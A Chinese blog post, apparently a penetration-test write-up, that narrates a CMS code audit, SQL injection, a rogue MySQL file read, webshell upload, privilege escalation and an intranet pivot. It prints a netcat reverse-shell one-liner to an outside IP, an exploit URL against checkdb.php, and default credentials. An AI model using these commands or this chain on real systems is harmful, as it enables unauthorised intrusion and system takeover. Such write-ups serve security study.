记一次代码审计的Linux内网渗透

最近有点忙…忙考试忙论文,发个库存吧

This image has an empty alt attribute; its file name is image-263.png

DMZ WEB SERVER

Infomation Gathering

看到主要是开了888、21、80、3306端口,888好像是bt,看一下80:

就是我们的目标站,某cms v1.0,下载下来审计一波看看。

PHP CMS Code Audit

分析流程发现index.php->./loader/load.php->./loader/doc.php

先看load.php

注释也比较清楚,就是根据url加载功能的引导页,再看doc.php

首先包含了比较重要的/inc/fuction.php,然后对传入的参数做了cleanArrayForMysql()处理。往下看,比较重要的路由规则:

路由大概就是这样的,比较简单,但是最后一部分调用action之前有一个HTML_LOAD():

经过测试应该是进入了最后一个else然后跳转,应该是开启了伪静态的原因。

接下来看一下常用函数有没有问题:/inc/function.php

可以看到对基本sql注入的关键字进行了检测。

后台getshell:/admini/controllers/system/changeskin.php

上传模板,zip文件直接解压。

SQL注入:content\search\index.php

search功能,在进行urldecode()之前就进行了checkSqlStr()检测处理,因此达不到效果。

写个tamper脚本,进行两次url编码就行,用sqlmap跑:

跑出来以后不知道这什么加密,看一下:/admin/login.php

跟进docEncryption:

看了下,getjxqy3()中后面三行问题都不大,但第一部分字符串截取是不可逆的。尝试能不能用sql-shell去修改一下密码。

后面发现数据库可以外连,尝试能不能搞到数据库账号密码。

MySQL Arbitrarily File Read

/setup/chkdb.php

先让它报错获取路径。

然后本地数据库开启外连来读文件。

读取文件的同时发现也爆路径了,不知道是不是这个伪造的mysql server的原因,以后没办法爆路径可以试一下(伪造mysql server默认账号密码就是root 123456)。

http://www.xxx.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123
456&dbhost=xxx.xxx.xxx.xxx&action=chkdb

更新一波密码直接上后台。

Bypass disable_functions

用刚才找到的上传模板getshell,本地有环境,直接把shell放进去原本的模板打包上传。发现上传失败。

遂修改模板加上一句话也不行,整个模板目录访问发现403,不过没关系,不需要直接访问,因为本来用的模板就是它,可以自动加载。可以执行代码,但是AntSword连不上。

菜刀成功连接,写入shell用AntSword连接即可。

估计有disable functions。

privilege Escalation

看了下sudo版本,试一下。但是对于linux提权还是建立一个交互式shell比较方便。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.8.187 1456 >/tmp/f

python3 -c 'import pty; pty.spawn("/bin/sh")'

1、SUID提权

好家伙, 直接一波root。

2、bt提权

用户桌面发现的bt相关信息。

加上计划任务。

Intranet

两张网卡。

开个代理用nmap探测一下内网发现144是up的,再看下端口。

emlog getshell

尝试一波弱口令,通过admin:123456进入后台

下载一个正常模板放一句话进去上传使用即可。

Privilege Escalation

常规试了下sudo、suid提权,msf bind也拿不到shell,所以看看还有什么提权方法。

发现开了8080端口是个wdcp服务器,默认密码登陆失败admin:wdlinux.cn,但是mysql的默认密码没改,还是上面那个。

www.target.com:8080/phpmyadmin

默认密码登陆上去后可以看到:

找到管理员密码,md5解开后登陆上主面板即可。

功能是真的全,还能改root密码,直接提权即可。

也可以加个计划任务,收工~

Leave a Reply

Your email address will not be published. Required fields are marked *

9 + 17 =